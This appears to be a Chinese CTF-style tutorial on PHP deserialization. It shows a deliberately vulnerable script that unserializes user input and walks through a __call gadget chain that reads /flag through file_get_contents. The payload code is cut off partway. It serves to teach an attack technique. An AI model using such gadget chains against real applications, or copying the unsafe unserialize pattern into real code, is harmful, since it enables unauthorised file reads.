【php反序列化介绍与常见触发方法】
命令执行函数
__call和__wakeup问题
__call
看个例题:
<?phpclass Flag{public $file;function __construct() {$this -> file = "hello.php";}public function test() {return file_get_contents($this -> file);}
}class User {public $username = "admin";public $func;public function __call($name, $args) {echo $this -> func -> $name();}
}if (isset($_GET['a'])) {$a = unserialize($_GET['a']);$a->test();
} else {highlight_file(__FILE__);
}
__call方法,__call方法是当调用了对象中的不存在的方法导致的,这里就是调用了test方法导致的,User对象中并没有test方法,这里只需要把User->func设置成为Flag对象就能通过__call方法去调用到它的test方法
先把有的类复制下来,其他用不到的可以省略掉,hello.php改成/flag,因为一般flag都在根目录下:
这里的$a -> func = $b;
把a的$func属性指向Flag,那么当test函数不存在执行__call时
__call($name, $args)
中的name是"test",因为func = b,所以$this->func->test()
,执行的是$this->Flag->test()
完整 payload
class Flag{public $file;function __construct() {$this -> file = "hello.php";}public function test() {return file_get_contents($this -> file);}
}class User {public $username = "admin";public $func;public function __call($name, $args) {echo $this -> func -> $name();}
}$a = new